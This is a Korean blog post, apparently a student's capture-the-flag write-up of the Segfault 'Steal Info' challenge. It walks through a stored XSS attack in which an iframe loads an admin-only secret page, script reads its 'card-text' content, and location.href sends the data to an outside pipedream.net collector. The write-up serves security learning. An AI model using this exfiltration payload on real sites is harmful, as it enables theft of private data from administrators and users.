Segfault CTF Steal Info

 

 

 

 

 

XSS를 이용해 중요 정보를 탈취해라!

중요 정보가 있는 페이지와 똑같은 페이지에 들어가 보았다

내 정보에 Secret info라고 적혀있는 거를 보니 저기에 중요 정보가 있을 거 같다.

그리고 실제 중요 정보가 있는 페이지에 들어가 보았다.

권한 노노만 나오고 아무것도 안 나온다. 관리자만 방문할 수 있는 건가 보다

우회를 해야 되나 보다 여러 가지 고민했다.

페이지 주소가 너무 많이 헷갈렸다. 우선 수업 시간에 배운 아이프레임 태그를 써보기로 했다.

내 정보를 게시판을 이용해 아이프레임으로 띄워보자

이렇게 아이프레임 써보았다.

그럼 다른 페이지에서 내 정보를 포함한 마이페이지를 불러와서 볼 수 있다 신기하다.

여기서 필요한 게 관리자의 정보니까 관리자 URL 링크를 넣어보았다.

글에는 아무것도 안 나오고 권한 노노만 나왔다.

슬펐다.

이걸 우회하기 위해서 내 정보의 요소를 추출해서 콘솔에 찍고 이것을 관리자 페이지에도 적용하면 될 것 같았다.

html에서 자바스크립트로 요소를 찍기 위해 document를 사용했다.

document.getElementsByClassName('card-text')[1].innerText;

정상적으로 찍히는 걸 볼 수 있다.

그리고 아까 쓴 아이프레임 토대로 위의 코드를 사용해 보면

<iframe id="targetFrame" src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html"></iframe>

<script>
document.getElementById('targetFrame').onload = function() {
var DOMData = this.contentDocument;
var text = DOMData.getElementsByClassName('card-text')[1].innerText;
console.log(text);
};
</script>

요런 코드를 쓸 수 있다. 핵심은 아이프레임 아이디를 정해주고 html을 자바스크립트로 불러오는데 onload 사용해 로드되고 나면 불러온다.

 

아까와 다른 점은 아까는 콘솔로 직접 찍었지만 지금은 스크립트를 사용해 정보를 출력했다.

이제 콘솔로 찍는 것을 제거하고 stored xss 방식이니까 게시글에 관리자가 방문했을 때 관리자의 정보가 나의 서버로 전송되게 해보자

<iframe id="targetFrame" src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php"></iframe>

<script>
document.getElementById('targetFrame').onload = function() {
var DOMData = this.contentDocument;
var text = DOMData.getElementsByClassName('card-text')[1].innerText;

// URL 인코딩을 사용하여 텍스트를 안전하게 전송
var encodedText = encodeURIComponent(text);

// location.href를 사용하여 서버로 GET 요청 전송
location.href = 'https://enxzjclfzat9.x.pipedream.net/?data=' + encodedText;
};
</script>

아까와 다른 점은 타겟을 관리자 실제 중요 정보가 있는 페이지로 바꿔주었고 location.href 또는 location.replace 또는 location.reload 등을 사용해

나의 서버로 전송했다. 인코딩은 사용해도 되고 안 해도 되는 거 같다.

 

권한 노노라고 alert가 떴기 때문에 스크립트를 잘 작성한 것으로 보인다.

이제 관리자로 들어가 보자

플래그를 확인할 수 있다.

 

 

 

 

 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다